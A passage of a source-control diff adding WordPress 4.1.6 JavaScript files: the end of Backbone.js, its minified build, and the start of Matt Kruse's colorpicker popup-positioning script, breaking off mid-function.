+    },
+
+    // Update the hash location, either replacing the current entry, or adding
+    // a new one to the browser history.
+    _updateHash: function(location, fragment, replace) {
+      if (replace) {
+        var href = location.href.replace(/(javascript:|#).*$/, '');
+        location.replace(href + '#' + fragment);
+      } else {
+        // Some browsers require that `hash` contains a leading #.
+        location.hash = '#' + fragment;
+      }
+    }
+
+  });
+
+  // Create the default Backbone.history.
+  Backbone.history = new History;
+
+  // Helpers
+  // -------
+
+  // Helper function to correctly set up the prototype chain, for subclasses.
+  // Similar to `goog.inherits`, but uses a hash of prototype properties and
+  // class properties to be extended.
+  var extend = function(protoProps, staticProps) {
+    var parent = this;
+    var child;
+
+    // The constructor function for the new subclass is either defined by you
+    // (the "constructor" property in your `extend` definition), or defaulted
+    // by us to simply call the parent's constructor.
+    if (protoProps && _.has(protoProps, 'constructor')) {
+      child = protoProps.constructor;
+    } else {
+      child = function(){ return parent.apply(this, arguments); };
+    }
+
+    // Add static properties to the constructor function, if supplied.
+    _.extend(child, parent, staticProps);
+
+    // Set the prototype chain to inherit from `parent`, without calling
+    // `parent`'s constructor function.
+    var Surrogate = function(){ this.constructor = child; };
+    Surrogate.prototype = parent.prototype;
+    child.prototype = new Surrogate;
+
+    // Add prototype properties (instance properties) to the subclass,
+    // if supplied.
+    if (protoProps) _.extend(child.prototype, protoProps);
+
+    // Set a convenience property in case the parent's prototype is needed
+    // later.
+    child.__super__ = parent.prototype;
+
+    return child;
+  };
+
+  // Set up inheritance for the model, collection, router, view and history.
+  Model.extend = Collection.extend = Router.extend = View.extend = History.extend = extend;
+
+  // Throw an error when a URL is needed, and none is supplied.
+  var urlError = function() {
+    throw new Error('A "url" property or function must be specified');
+  };
+
+  // Wrap an optional error callback with a fallback error event.
+  var wrapError = function(model, options) {
+    var error = options.error;
+    options.error = function(resp) {
+      if (error) error(model, resp, options);
+      model.trigger('error', model, resp, options);
+    };
+  };
+
+  return Backbone;
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/backbone.min.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/backbone.min.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/backbone.min.js	(revision 33402)
@@ -0,0 +1,1 @@
+(function(t,e){if(typeof define==="function"&&define.amd){define(["underscore","jquery","exports"],function(i,r,s){t.Backbone=e(t,s,i,r)})}else if(typeof exports!=="undefined"){var i=require("underscore");e(t,exports,i)}else{t.Backbone=e(t,{},t._,t.jQuery||t.Zepto||t.ender||t.$)}})(this,function(t,e,i,r){var s=t.Backbone;var n=[];var a=n.push;var o=n.slice;var h=n.splice;e.VERSION="1.1.2";e.$=r;e.noConflict=function(){t.Backbone=s;return this};e.emulateHTTP=false;e.emulateJSON=false;var u=e.Events={on:function(t,e,i){if(!c(this,"on",t,[e,i])||!e)return this;this._events||(this._events={});var r=this._events[t]||(this._events[t]=[]);r.push({callback:e,context:i,ctx:i||this});return this},once:function(t,e,r){if(!c(this,"once",t,[e,r])||!e)return this;var s=this;var n=i.once(function(){s.off(t,n);e.apply(this,arguments)});n._callback=e;return this.on(t,n,r)},off:function(t,e,r){var s,n,a,o,h,u,l,f;if(!this._events||!c(this,"off",t,[e,r]))return this;if(!t&&!e&&!r){this._events=void 0;return this}o=t?[t]:i.keys(this._events);for(h=0,u=o.length;h<u;h++){t=o[h];if(a=this._events[t]){this._events[t]=s=[];if(e||r){for(l=0,f=a.length;l<f;l++){n=a[l];if(e&&e!==n.callback&&e!==n.callback._callback||r&&r!==n.context){s.push(n)}}}if(!s.length)delete this._events[t]}}return this},trigger:function(t){if(!this._events)return this;var e=o.call(arguments,1);if(!c(this,"trigger",t,e))return this;var i=this._events[t];var r=this._events.all;if(i)f(i,e);if(r)f(r,arguments);return this},stopListening:function(t,e,r){var s=this._listeningTo;if(!s)return this;var n=!e&&!r;if(!r&&typeof e==="object")r=this;if(t)(s={})[t._listenId]=t;for(var a in s){t=s[a];t.off(e,r,this);if(n||i.isEmpty(t._events))delete this._listeningTo[a]}return this}};var l=/\s+/;var c=function(t,e,i,r){if(!i)return true;if(typeof i==="object"){for(var s in i){t[e].apply(t,[s,i[s]].concat(r))}return false}if(l.test(i)){var n=i.split(l);for(var a=0,o=n.length;a<o;a++){t[e].apply(t,[n[a]].concat(r))}return false}return true};var f=function(t,e){var i,r=-1,s=t.length,n=e[0],a=e[1],o=e[2];switch(e.length){case 0:while(++r<s)(i=t[r]).callback.call(i.ctx);return;case 1:while(++r<s)(i=t[r]).callback.call(i.ctx,n);return;case 2:while(++r<s)(i=t[r]).callback.call(i.ctx,n,a);return;case 3:while(++r<s)(i=t[r]).callback.call(i.ctx,n,a,o);return;default:while(++r<s)(i=t[r]).callback.apply(i.ctx,e);return}};var d={listenTo:"on",listenToOnce:"once"};i.each(d,function(t,e){u[e]=function(e,r,s){var n=this._listeningTo||(this._listeningTo={});var a=e._listenId||(e._listenId=i.uniqueId("l"));n[a]=e;if(!s&&typeof r==="object")s=this;e[t](r,s,this);return this}});u.bind=u.on;u.unbind=u.off;i.extend(e,u);var p=e.Model=function(t,e){var r=t||{};e||(e={});this.cid=i.uniqueId("c");this.attributes={};if(e.collection)this.collection=e.collection;if(e.parse)r=this.parse(r,e)||{};r=i.defaults({},r,i.result(this,"defaults"));this.set(r,e);this.changed={};this.initialize.apply(this,arguments)};i.extend(p.prototype,u,{changed:null,validationError:null,idAttribute:"id",initialize:function(){},toJSON:function(t){return i.clone(this.attributes)},sync:function(){return e.sync.apply(this,arguments)},get:function(t){return this.attributes[t]},escape:function(t){return i.escape(this.get(t))},has:function(t){return this.get(t)!=null},set:function(t,e,r){var s,n,a,o,h,u,l,c;if(t==null)return this;if(typeof t==="object"){n=t;r=e}else{(n={})[t]=e}r||(r={});if(!this._validate(n,r))return false;a=r.unset;h=r.silent;o=[];u=this._changing;this._changing=true;if(!u){this._previousAttributes=i.clone(this.attributes);this.changed={}}c=this.attributes,l=this._previousAttributes;if(this.idAttribute in n)this.id=n[this.idAttribute];for(s in n){e=n[s];if(!i.isEqual(c[s],e))o.push(s);if(!i.isEqual(l[s],e)){this.changed[s]=e}else{delete this.changed[s]}a?delete c[s]:c[s]=e}if(!h){if(o.length)this._pending=r;for(var f=0,d=o.length;f<d;f++){this.trigger("change:"+o[f],this,c[o[f]],r)}}if(u)return this;if(!h){while(this._pending){r=this._pending;this._pending=false;this.trigger("change",this,r)}}this._pending=false;this._changing=false;return this},unset:function(t,e){return this.set(t,void 0,i.extend({},e,{unset:true}))},clear:function(t){var e={};for(var r in this.attributes)e[r]=void 0;return this.set(e,i.extend({},t,{unset:true}))},hasChanged:function(t){if(t==null)return!i.isEmpty(this.changed);return i.has(this.changed,t)},changedAttributes:function(t){if(!t)return this.hasChanged()?i.clone(this.changed):false;var e,r=false;var s=this._changing?this._previousAttributes:this.attributes;for(var n in t){if(i.isEqual(s[n],e=t[n]))continue;(r||(r={}))[n]=e}return r},previous:function(t){if(t==null||!this._previousAttributes)return null;return this._previousAttributes[t]},previousAttributes:function(){return i.clone(this._previousAttributes)},fetch:function(t){t=t?i.clone(t):{};if(t.parse===void 0)t.parse=true;var e=this;var r=t.success;t.success=function(i){if(!e.set(e.parse(i,t),t))return false;if(r)r(e,i,t);e.trigger("sync",e,i,t)};q(this,t);return this.sync("read",this,t)},save:function(t,e,r){var s,n,a,o=this.attributes;if(t==null||typeof t==="object"){s=t;r=e}else{(s={})[t]=e}r=i.extend({validate:true},r);if(s&&!r.wait){if(!this.set(s,r))return false}else{if(!this._validate(s,r))return false}if(s&&r.wait){this.attributes=i.extend({},o,s)}if(r.parse===void 0)r.parse=true;var h=this;var u=r.success;r.success=function(t){h.attributes=o;var e=h.parse(t,r);if(r.wait)e=i.extend(s||{},e);if(i.isObject(e)&&!h.set(e,r)){return false}if(u)u(h,t,r);h.trigger("sync",h,t,r)};q(this,r);n=this.isNew()?"create":r.patch?"patch":"update";if(n==="patch")r.attrs=s;a=this.sync(n,this,r);if(s&&r.wait)this.attributes=o;return a},destroy:function(t){t=t?i.clone(t):{};var e=this;var r=t.success;var s=function(){e.trigger("destroy",e,e.collection,t)};t.success=function(i){if(t.wait||e.isNew())s();if(r)r(e,i,t);if(!e.isNew())e.trigger("sync",e,i,t)};if(this.isNew()){t.success();return false}q(this,t);var n=this.sync("delete",this,t);if(!t.wait)s();return n},url:function(){var t=i.result(this,"urlRoot")||i.result(this.collection,"url")||M();if(this.isNew())return t;return t.replace(/([^\/])$/,"$1/")+encodeURIComponent(this.id)},parse:function(t,e){return t},clone:function(){return new this.constructor(this.attributes)},isNew:function(){return!this.has(this.idAttribute)},isValid:function(t){return this._validate({},i.extend(t||{},{validate:true}))},_validate:function(t,e){if(!e.validate||!this.validate)return true;t=i.extend({},this.attributes,t);var r=this.validationError=this.validate(t,e)||null;if(!r)return true;this.trigger("invalid",this,r,i.extend(e,{validationError:r}));return false}});var v=["keys","values","pairs","invert","pick","omit"];i.each(v,function(t){p.prototype[t]=function(){var e=o.call(arguments);e.unshift(this.attributes);return i[t].apply(i,e)}});var g=e.Collection=function(t,e){e||(e={});if(e.model)this.model=e.model;if(e.comparator!==void 0)this.comparator=e.comparator;this._reset();this.initialize.apply(this,arguments);if(t)this.reset(t,i.extend({silent:true},e))};var m={add:true,remove:true,merge:true};var y={add:true,remove:false};i.extend(g.prototype,u,{model:p,initialize:function(){},toJSON:function(t){return this.map(function(e){return e.toJSON(t)})},sync:function(){return e.sync.apply(this,arguments)},add:function(t,e){return this.set(t,i.extend({merge:false},e,y))},remove:function(t,e){var r=!i.isArray(t);t=r?[t]:i.clone(t);e||(e={});var s,n,a,o;for(s=0,n=t.length;s<n;s++){o=t[s]=this.get(t[s]);if(!o)continue;delete this._byId[o.id];delete this._byId[o.cid];a=this.indexOf(o);this.models.splice(a,1);this.length--;if(!e.silent){e.index=a;o.trigger("remove",o,this,e)}this._removeReference(o,e)}return r?t[0]:t},set:function(t,e){e=i.defaults({},e,m);if(e.parse)t=this.parse(t,e);var r=!i.isArray(t);t=r?t?[t]:[]:i.clone(t);var s,n,a,o,h,u,l;var c=e.at;var f=this.model;var d=this.comparator&&c==null&&e.sort!==false;var v=i.isString(this.comparator)?this.comparator:null;var g=[],y=[],_={};var b=e.add,w=e.merge,x=e.remove;var E=!d&&b&&x?[]:false;for(s=0,n=t.length;s<n;s++){h=t[s]||{};if(h instanceof p){a=o=h}else{a=h[f.prototype.idAttribute||"id"]}if(u=this.get(a)){if(x)_[u.cid]=true;if(w){h=h===o?o.attributes:h;if(e.parse)h=u.parse(h,e);u.set(h,e);if(d&&!l&&u.hasChanged(v))l=true}t[s]=u}else if(b){o=t[s]=this._prepareModel(h,e);if(!o)continue;g.push(o);this._addReference(o,e)}o=u||o;if(E&&(o.isNew()||!_[o.id]))E.push(o);_[o.id]=true}if(x){for(s=0,n=this.length;s<n;++s){if(!_[(o=this.models[s]).cid])y.push(o)}if(y.length)this.remove(y,e)}if(g.length||E&&E.length){if(d)l=true;this.length+=g.length;if(c!=null){for(s=0,n=g.length;s<n;s++){this.models.splice(c+s,0,g[s])}}else{if(E)this.models.length=0;var k=E||g;for(s=0,n=k.length;s<n;s++){this.models.push(k[s])}}}if(l)this.sort({silent:true});if(!e.silent){for(s=0,n=g.length;s<n;s++){(o=g[s]).trigger("add",o,this,e)}if(l||E&&E.length)this.trigger("sort",this,e)}return r?t[0]:t},reset:function(t,e){e||(e={});for(var r=0,s=this.models.length;r<s;r++){this._removeReference(this.models[r],e)}e.previousModels=this.models;this._reset();t=this.add(t,i.extend({silent:true},e));if(!e.silent)this.trigger("reset",this,e);return t},push:function(t,e){return this.add(t,i.extend({at:this.length},e))},pop:function(t){var e=this.at(this.length-1);this.remove(e,t);return e},unshift:function(t,e){return this.add(t,i.extend({at:0},e))},shift:function(t){var e=this.at(0);this.remove(e,t);return e},slice:function(){return o.apply(this.models,arguments)},get:function(t){if(t==null)return void 0;return this._byId[t]||this._byId[t.id]||this._byId[t.cid]},at:function(t){return this.models[t]},where:function(t,e){if(i.isEmpty(t))return e?void 0:[];return this[e?"find":"filter"](function(e){for(var i in t){if(t[i]!==e.get(i))return false}return true})},findWhere:function(t){return this.where(t,true)},sort:function(t){if(!this.comparator)throw new Error("Cannot sort a set without a comparator");t||(t={});if(i.isString(this.comparator)||this.comparator.length===1){this.models=this.sortBy(this.comparator,this)}else{this.models.sort(i.bind(this.comparator,this))}if(!t.silent)this.trigger("sort",this,t);return this},pluck:function(t){return i.invoke(this.models,"get",t)},fetch:function(t){t=t?i.clone(t):{};if(t.parse===void 0)t.parse=true;var e=t.success;var r=this;t.success=function(i){var s=t.reset?"reset":"set";r[s](i,t);if(e)e(r,i,t);r.trigger("sync",r,i,t)};q(this,t);return this.sync("read",this,t)},create:function(t,e){e=e?i.clone(e):{};if(!(t=this._prepareModel(t,e)))return false;if(!e.wait)this.add(t,e);var r=this;var s=e.success;e.success=function(t,i){if(e.wait)r.add(t,e);if(s)s(t,i,e)};t.save(null,e);return t},parse:function(t,e){return t},clone:function(){return new this.constructor(this.models)},_reset:function(){this.length=0;this.models=[];this._byId={}},_prepareModel:function(t,e){if(t instanceof p)return t;e=e?i.clone(e):{};e.collection=this;var r=new this.model(t,e);if(!r.validationError)return r;this.trigger("invalid",this,r.validationError,e);return false},_addReference:function(t,e){this._byId[t.cid]=t;if(t.id!=null)this._byId[t.id]=t;if(!t.collection)t.collection=this;t.on("all",this._onModelEvent,this)},_removeReference:function(t,e){if(this===t.collection)delete t.collection;t.off("all",this._onModelEvent,this)},_onModelEvent:function(t,e,i,r){if((t==="add"||t==="remove")&&i!==this)return;if(t==="destroy")this.remove(e,r);if(e&&t==="change:"+e.idAttribute){delete this._byId[e.previous(e.idAttribute)];if(e.id!=null)this._byId[e.id]=e}this.trigger.apply(this,arguments)}});var _=["forEach","each","map","collect","reduce","foldl","inject","reduceRight","foldr","find","detect","filter","select","reject","every","all","some","any","include","contains","invoke","max","min","toArray","size","first","head","take","initial","rest","tail","drop","last","without","difference","indexOf","shuffle","lastIndexOf","isEmpty","chain","sample"];i.each(_,function(t){g.prototype[t]=function(){var e=o.call(arguments);e.unshift(this.models);return i[t].apply(i,e)}});var b=["groupBy","countBy","sortBy","indexBy"];i.each(b,function(t){g.prototype[t]=function(e,r){var s=i.isFunction(e)?e:function(t){return t.get(e)};return i[t](this.models,s,r)}});var w=e.View=function(t){this.cid=i.uniqueId("view");t||(t={});i.extend(this,i.pick(t,E));this._ensureElement();this.initialize.apply(this,arguments);this.delegateEvents()};var x=/^(\S+)\s*(.*)$/;var E=["model","collection","el","id","attributes","className","tagName","events"];i.extend(w.prototype,u,{tagName:"div",$:function(t){return this.$el.find(t)},initialize:function(){},render:function(){return this},remove:function(){this.$el.remove();this.stopListening();return this},setElement:function(t,i){if(this.$el)this.undelegateEvents();this.$el=t instanceof e.$?t:e.$(t);this.el=this.$el[0];if(i!==false)this.delegateEvents();return this},delegateEvents:function(t){if(!(t||(t=i.result(this,"events"))))return this;this.undelegateEvents();for(var e in t){var r=t[e];if(!i.isFunction(r))r=this[t[e]];if(!r)continue;var s=e.match(x);var n=s[1],a=s[2];r=i.bind(r,this);n+=".delegateEvents"+this.cid;if(a===""){this.$el.on(n,r)}else{this.$el.on(n,a,r)}}return this},undelegateEvents:function(){this.$el.off(".delegateEvents"+this.cid);return this},_ensureElement:function(){if(!this.el){var t=i.extend({},i.result(this,"attributes"));if(this.id)t.id=i.result(this,"id");if(this.className)t["class"]=i.result(this,"className");var r=e.$("<"+i.result(this,"tagName")+">").attr(t);this.setElement(r,false)}else{this.setElement(i.result(this,"el"),false)}}});e.sync=function(t,r,s){var n=T[t];i.defaults(s||(s={}),{emulateHTTP:e.emulateHTTP,emulateJSON:e.emulateJSON});var a={type:n,dataType:"json"};if(!s.url){a.url=i.result(r,"url")||M()}if(s.data==null&&r&&(t==="create"||t==="update"||t==="patch")){a.contentType="application/json";a.data=JSON.stringify(s.attrs||r.toJSON(s))}if(s.emulateJSON){a.contentType="application/x-www-form-urlencoded";a.data=a.data?{model:a.data}:{}}if(s.emulateHTTP&&(n==="PUT"||n==="DELETE"||n==="PATCH")){a.type="POST";if(s.emulateJSON)a.data._method=n;var o=s.beforeSend;s.beforeSend=function(t){t.setRequestHeader("X-HTTP-Method-Override",n);if(o)return o.apply(this,arguments)}}if(a.type!=="GET"&&!s.emulateJSON){a.processData=false}if(a.type==="PATCH"&&k){a.xhr=function(){return new ActiveXObject("Microsoft.XMLHTTP")}}var h=s.xhr=e.ajax(i.extend(a,s));r.trigger("request",r,h,s);return h};var k=typeof window!=="undefined"&&!!window.ActiveXObject&&!(window.XMLHttpRequest&&(new XMLHttpRequest).dispatchEvent);var T={create:"POST",update:"PUT",patch:"PATCH","delete":"DELETE",read:"GET"};e.ajax=function(){return e.$.ajax.apply(e.$,arguments)};var $=e.Router=function(t){t||(t={});if(t.routes)this.routes=t.routes;this._bindRoutes();this.initialize.apply(this,arguments)};var S=/\((.*?)\)/g;var H=/(\(\?)?:\w+/g;var A=/\*\w+/g;var I=/[\-{}\[\]+?.,\\\^$|#\s]/g;i.extend($.prototype,u,{initialize:function(){},route:function(t,r,s){if(!i.isRegExp(t))t=this._routeToRegExp(t);if(i.isFunction(r)){s=r;r=""}if(!s)s=this[r];var n=this;e.history.route(t,function(i){var a=n._extractParameters(t,i);n.execute(s,a);n.trigger.apply(n,["route:"+r].concat(a));n.trigger("route",r,a);e.history.trigger("route",n,r,a)});return this},execute:function(t,e){if(t)t.apply(this,e)},navigate:function(t,i){e.history.navigate(t,i);return this},_bindRoutes:function(){if(!this.routes)return;this.routes=i.result(this,"routes");var t,e=i.keys(this.routes);while((t=e.pop())!=null){this.route(t,this.routes[t])}},_routeToRegExp:function(t){t=t.replace(I,"\\$&").replace(S,"(?:$1)?").replace(H,function(t,e){return e?t:"([^/?]+)"}).replace(A,"([^?]*?)");return new RegExp("^"+t+"(?:\\?([\\s\\S]*))?$")},_extractParameters:function(t,e){var r=t.exec(e).slice(1);return i.map(r,function(t,e){if(e===r.length-1)return t||null;return t?decodeURIComponent(t):null})}});var N=e.History=function(){this.handlers=[];i.bindAll(this,"checkUrl");if(typeof window!=="undefined"){this.location=window.location;this.history=window.history}};var R=/^[#\/]|\s+$/g;var O=/^\/+|\/+$/g;var P=/msie [\w.]+/;var C=/\/$/;var j=/#.*$/;N.started=false;i.extend(N.prototype,u,{interval:50,atRoot:function(){return this.location.pathname.replace(/[^\/]$/,"$&/")===this.root},getHash:function(t){var e=(t||this).location.href.match(/#(.*)$/);return e?e[1]:""},getFragment:function(t,e){if(t==null){if(this._hasPushState||!this._wantsHashChange||e){t=decodeURI(this.location.pathname+this.location.search);var i=this.root.replace(C,"");if(!t.indexOf(i))t=t.slice(i.length)}else{t=this.getHash()}}return t.replace(R,"")},start:function(t){if(N.started)throw new Error("Backbone.history has already been started");N.started=true;this.options=i.extend({root:"/"},this.options,t);this.root=this.options.root;this._wantsHashChange=this.options.hashChange!==false;this._wantsPushState=!!this.options.pushState;this._hasPushState=!!(this.options.pushState&&this.history&&this.history.pushState);var r=this.getFragment();var s=document.documentMode;var n=P.exec(navigator.userAgent.toLowerCase())&&(!s||s<=7);this.root=("/"+this.root+"/").replace(O,"/");if(n&&this._wantsHashChange){var a=e.$('<iframe src="javascript:0" tabindex="-1">');this.iframe=a.hide().appendTo("body")[0].contentWindow;this.navigate(r)}if(this._hasPushState){e.$(window).on("popstate",this.checkUrl)}else if(this._wantsHashChange&&"onhashchange"in window&&!n){e.$(window).on("hashchange",this.checkUrl)}else if(this._wantsHashChange){this._checkUrlInterval=setInterval(this.checkUrl,this.interval)}this.fragment=r;var o=this.location;if(this._wantsHashChange&&this._wantsPushState){if(!this._hasPushState&&!this.atRoot()){this.fragment=this.getFragment(null,true);this.location.replace(this.root+"#"+this.fragment);return true}else if(this._hasPushState&&this.atRoot()&&o.hash){this.fragment=this.getHash().replace(R,"");this.history.replaceState({},document.title,this.root+this.fragment)}}if(!this.options.silent)return this.loadUrl()},stop:function(){e.$(window).off("popstate",this.checkUrl).off("hashchange",this.checkUrl);if(this._checkUrlInterval)clearInterval(this._checkUrlInterval);N.started=false},route:function(t,e){this.handlers.unshift({route:t,callback:e})},checkUrl:function(t){var e=this.getFragment();if(e===this.fragment&&this.iframe){e=this.getFragment(this.getHash(this.iframe))}if(e===this.fragment)return false;if(this.iframe)this.navigate(e);this.loadUrl()},loadUrl:function(t){t=this.fragment=this.getFragment(t);return i.any(this.handlers,function(e){if(e.route.test(t)){e.callback(t);return true}})},navigate:function(t,e){if(!N.started)return false;if(!e||e===true)e={trigger:!!e};var i=this.root+(t=this.getFragment(t||""));t=t.replace(j,"");if(this.fragment===t)return;this.fragment=t;if(t===""&&i!=="/")i=i.slice(0,-1);if(this._hasPushState){this.history[e.replace?"replaceState":"pushState"]({},document.title,i)}else if(this._wantsHashChange){this._updateHash(this.location,t,e.replace);if(this.iframe&&t!==this.getFragment(this.getHash(this.iframe))){if(!e.replace)this.iframe.document.open().close();this._updateHash(this.iframe.location,t,e.replace)}}else{return this.location.assign(i)}if(e.trigger)return this.loadUrl(t)},_updateHash:function(t,e,i){if(i){var r=t.href.replace(/(javascript:|#).*$/,"");t.replace(r+"#"+e)}else{t.hash="#"+e}}});e.history=new N;var U=function(t,e){var r=this;var s;if(t&&i.has(t,"constructor")){s=t.constructor}else{s=function(){return r.apply(this,arguments)}}i.extend(s,r,e);var n=function(){this.constructor=s};n.prototype=r.prototype;s.prototype=new n;if(t)i.extend(s.prototype,t);s.__super__=r.prototype;return s};p.extend=g.extend=$.extend=w.extend=N.extend=U;var M=function(){throw new Error('A "url" property or function must be specified')};var q=function(t,e){var i=e.error;e.error=function(r){if(i)i(t,r,e);t.trigger("error",t,r,e)}};return e});
Index: /tags/4.1.6/src/wp-includes/js/colorpicker.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/colorpicker.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/colorpicker.js	(revision 33402)
@@ -0,0 +1,707 @@
+// ===================================================================
+// Author: Matt Kruse <matt@mattkruse.com>
+// WWW: http://www.mattkruse.com/
+//
+// NOTICE: You may use this code for any purpose, commercial or
+// private, without any further permission from the author. You may
+// remove this notice from your final code if you wish, however it is
+// appreciated by the author if at least my web site address is kept.
+//
+// You may *NOT* re-distribute this code in any way except through its
+// use. That means, you can include it in your product, or your web
+// site, or any other form where the code is actually being used. You
+// may not put the plain javascript up on your site for download or
+// include it in your javascript libraries for download.
+// If you wish to share this code with others, please just point them
+// to the URL instead.
+// Please DO NOT link directly to my .js files from your site. Copy
+// the files to your server and use them there. Thank you.
+// ===================================================================
+
+
+/* SOURCE FILE: AnchorPosition.js */
+
+/*
+AnchorPosition.js
+Author: Matt Kruse
+Last modified: 10/11/02
+
+DESCRIPTION: These functions find the position of an <A> tag in a document,
+so other elements can be positioned relative to it.
+
+COMPATABILITY: Netscape 4.x,6.x,Mozilla, IE 5.x,6.x on Windows. Some small
+positioning errors - usually with Window positioning - occur on the
+Macintosh platform.
+
+FUNCTIONS:
+getAnchorPosition(anchorname)
+  Returns an Object() having .x and .y properties of the pixel coordinates
+  of the upper-left corner of the anchor. Position is relative to the PAGE.
+
+getAnchorWindowPosition(anchorname)
+  Returns an Object() having .x and .y properties of the pixel coordinates
+  of the upper-left corner of the anchor, relative to the WHOLE SCREEN.
+
+NOTES:
+
+1) For popping up separate browser windows, use getAnchorWindowPosition.
+   Otherwise, use getAnchorPosition
+
+2) Your anchor tag MUST contain both NAME and ID attributes which are the
+   same. For example:
+   <A NAME="test" ID="test"> </A>
+
+3) There must be at least a space between <A> </A> for IE5.5 to see the
+   anchor tag correctly. Do not do <A></A> with no space.
+*/
+
+// getAnchorPosition(anchorname)
+//   This function returns an object having .x and .y properties which are the coordinates
+//   of the named anchor, relative to the page.
+function getAnchorPosition(anchorname) {
+	// This function will return an Object with x and y properties
+	var useWindow=false;
+	var coordinates=new Object();
+	var x=0,y=0;
+	// Browser capability sniffing
+	var use_gebi=false, use_css=false, use_layers=false;
+	if (document.getElementById) { use_gebi=true; }
+	else if (document.all) { use_css=true; }
+	else if (document.layers) { use_layers=true; }
+	// Logic to find position
+ 	if (use_gebi && document.all) {
+		x=AnchorPosition_getPageOffsetLeft(document.all[anchorname]);
+		y=AnchorPosition_getPageOffsetTop(document.all[anchorname]);
+		}
+	else if (use_gebi) {
+		var o=document.getElementById(anchorname);
+		x=AnchorPosition_getPageOffsetLeft(o);
+		y=AnchorPosition_getPageOffsetTop(o);
+		}
+ 	else if (use_css) {
+		x=AnchorPosition_getPageOffsetLeft(document.all[anchorname]);
+		y=AnchorPosition_getPageOffsetTop(document.all[anchorname]);
+		}
+	else if (use_layers) {
+		var found=0;
+		for (var i=0; i<document.anchors.length; i++) {
+			if (document.anchors[i].name==anchorname) { found=1; break; }
+			}
+		if (found==0) {
+			coordinates.x=0; coordinates.y=0; return coordinates;
+			}
+		x=document.anchors[i].x;
+		y=document.anchors[i].y;
+		}
+	else {
+		coordinates.x=0; coordinates.y=0; return coordinates;
+		}
+	coordinates.x=x;
+	coordinates.y=y;
+	return coordinates;
+	}
+
+// getAnchorWindowPosition(anchorname)
+//   This function returns an object having .x and .y properties which are the coordinates
+//   of the named anchor, relative to the window
+function getAnchorWindowPosition(anchorname) {
+	var coordinates=getAnchorPosition(anchorname);
+	var x=0;
+	var y=0;
+	if (document.getElementById) {
+		if (isNaN(window.screenX)) {
+			x=coordinates.x-document.body.scrollLeft+window.screenLeft;
+			y=coordinates.y-document.body.scrollTop+window.screenTop;
+			}
+		else {
+			x=coordinates.x+window.screenX+(window.outerWidth-window.innerWidth)-window.pageXOffset;
+			y=coordinates.y+window.screenY+(window.outerHeight-24-window.innerHeight)-window.pageYOffset;
+			}
+		}
+	else if (document.all) {
+		x=coordinates.x-document.body.scrollLeft+window.screenLeft;
+		y=coordinates.y-document.body.scrollTop+window.screenTop;
+		}
+	else if (document.layers) {
+		x=coordinates.x+window.screenX+(window.outerWidth-window.innerWidth)-window.pageXOffset;
+		y=coordinates.y+window.screenY+(window.outerHeight-24-window.innerHeight)-window.pageYOffset;
+		}
+	coordinates.x=x;
+	coordinates.y=y;
+	return coordinates;
+	}
+
+// Functions for IE to get position of an object
+function AnchorPosition_getPageOffsetLeft (el) {
+	var ol=el.offsetLeft;
+	while ((el=el.offsetParent) != null) { ol += el.offsetLeft; }
+	return ol;
+	}
+function AnchorPosition_getWindowOffsetLeft (el) {
+	return AnchorPosition_getPageOffsetLeft(el)-document.body.scrollLeft;
+	}
+function AnchorPosition_getPageOffsetTop (el) {
+	var ot=el.offsetTop;
+	while((el=el.offsetParent) != null) { ot += el.offsetTop; }
+	return ot;
+	}
+function AnchorPosition_getWindowOffsetTop (el) {
+	return AnchorPosition_getPageOffsetTop(el)-document.body.scrollTop;
+	}
+
+/* SOURCE FILE: PopupWindow.js */
+
+/*
+PopupWindow.js
+Author: Matt Kruse
+Last modified: 02/16/04
+
+DESCRIPTION: This object allows you to easily and quickly popup a window
+in a certain place. The window can either be a DIV or a separate browser
+window.
+
+COMPATABILITY: Works with Netscape 4.x, 6.x, IE 5.x on Windows. Some small
+positioning errors - usually with Window positioning - occur on the
+Macintosh platform. Due to bugs in Netscape 4.x, populating the popup
+window with <STYLE> tags may cause errors.
+
+USAGE:
+// Create an object for a WINDOW popup
+var win = new PopupWindow();
+
+// Create an object for a DIV window using the DIV named 'mydiv'
+var win = new PopupWindow('mydiv');
+
+// Set the window to automatically hide itself when the user clicks
+// anywhere else on the page except the popup
+win.autoHide();
+
+// Show the window relative to the anchor name passed in
+win.showPopup(anchorname);
+
+// Hide the popup
+win.hidePopup();
+
+// Set the size of the popup window (only applies to WINDOW popups
+win.setSize(width,height);
+
+// Populate the contents of the popup window that will be shown. If you
+// change the contents while it is displayed, you will need to refresh()
+win.populate(string);
+
+// set the URL of the window, rather than populating its contents
+// manually
+win.setUrl("http://www.site.com/");
+
+// Refresh the contents of the popup
+win.refresh();
+
+// Specify how many pixels to the right of the anchor the popup will appear
+win.offsetX = 50;
+
+// Specify how many pixels below the anchor the popup will appear
+win.offsetY = 100;
+
+NOTES:
+1) Requires the functions in AnchorPosition.js
+
+2) Your anchor tag MUST contain both NAME and ID attributes which are the
+   same. For example:
+   <A NAME="test" ID="test"> </A>
+
+3) There must be at least a space between <A> </A> for IE5.5 to see the
+   anchor tag correctly. Do not do <A></A> with no space.
+
+4) When a PopupWindow object is created, a handler for 'onmouseup' is
+   attached to any event handler you may have already defined. Do NOT define
+   an event handler for 'onmouseup' after you define a PopupWindow object or
+   the autoHide() will not work correctly.
+*/
+
+// Set the position of the popup window based on the anchor
+function PopupWindow_getXYPosition(anchorname) {
+	var coordinates;
+	if (this.type == "WINDOW") {
+		coordinates = getAnchorWindowPosition(anchorname);
+		}
+	else {
+		coordinates = getAnchorPosition(anchorname);
+		}
+	this.x = coordinates.x;
+	this.y = coordinates.y;
+	}
+// Set width/height of DIV/popup window
+function PopupWindow_setSize(width,height) {
+	this.width = width;
+	this.height = height;
+	}
+// Fill the window with contents
+function PopupWindow_populate(contents) {
+	this.contents = contents;
+	this.populated = false;
+	}
+// Set the URL to go to
+function PopupWindow_setUrl(url) {
+	this.url = url;
+	}
+// Set the window popup properties
+function PopupWindow_setWindowProperties(props) {
+	this.windowProperties = props;
+	}
+// Refresh the displayed contents of the popup
+function PopupWindow_refresh() {
+	if (this.divName != null) {
+		// refresh the DIV object
+		if (this.use_gebi) {
+			document.getElementById(this.divName).innerHTML = this.contents;
+			}
+		else if (this.use_css) {
+			document.all[this.divName].innerHTML = this.contents;
+			}
+		else if (this.use_layers) {
+			var d = document.layers[this.divName];
+			d.document.open();
